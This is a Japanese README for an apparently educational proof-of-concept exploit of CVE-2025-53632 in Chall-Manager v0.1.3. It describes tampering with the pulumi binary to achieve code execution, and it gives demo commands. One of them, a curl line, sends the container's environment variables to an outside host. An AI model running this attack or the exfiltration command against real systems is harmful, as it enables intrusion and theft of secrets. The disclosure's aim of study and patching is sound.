
CVE-2025-53632 のエクスプロイトによる悪用可能性の確認
このリポジトリには、Chall-Manager < v0.1.4 に影響を与える CVE-2025-53632 のエクスプロイト が含まれています。 影響を受けるバージョンは明らかに古く、おそらく誰も使用していないため、現在の悪用可能性はないと確信しています。
このリポジトリは誰かを攻撃する権利を与えるものではなく、教育目的 を意図しています。
[!WARNING] Chall-Managerがシナリオを処理する方法では、zipスリップなしでも完全に悪用可能です。シナリオから
pulumiバイナリを改ざんし、次の実行で任意のコードが実行されるようにするだけです。
この攻撃は Chall-Manager v0.1.3 に対してデモンストレーションします。
露出したChall-Managerを想像してみましょう(実際に行わないでください。RCEオンデマンドアプリとして意図されていないためです)。
チャレンジを作成する際、シナリオはPulumiプレビューによって検証されます。 このコード自体には制御がないため、何でも 注入できます。
これを行うために、Chall-Managerは Pulumi の auto API を使用してPulumiバイナリを実行します。絶対パスは指定せず、/pulumi/bin/pulumi にあることを期待しています($PATH は /pulumi/bin で始まります)。
これらの情報を利用して、実行前にシェルコードを注入することで pulumi プログラムを改ざんします。
シナリオが検証されると、改ざんされた pulumi プログラムが実行され、スクリプトが実行されます。
このスクリプトから、リバースシェルを開いたり、インフラストラクチャやコンテナ内を移動したり、シークレット(例:環境変数に含まれるもの)やチャレンジコンテンツ(例:シナリオが事前構築されていない場合のチャレンジフラグ)を漏洩したりできます。
このエクスプロイトデモを実行するには、以下が必要です:
chall-managerを実行します。
docker run --name chall-manager -d -p 8080:8080 ctferio/chall-manager:v0.1.3
main.go を実行します。
go run main.go --url localhost:8080
スクリプトは自由に工夫してください!例えば、システム情報を第三者に送信できます...
go run main.go --url localhost:8080 --script 'curl -d "$(env)" https://app.beeceptor.com/console/cve-2025-53632'
完了したら、デモのChall-Manager Dockerコンテナを停止できます。
docker stop chall-manager && docker rm $_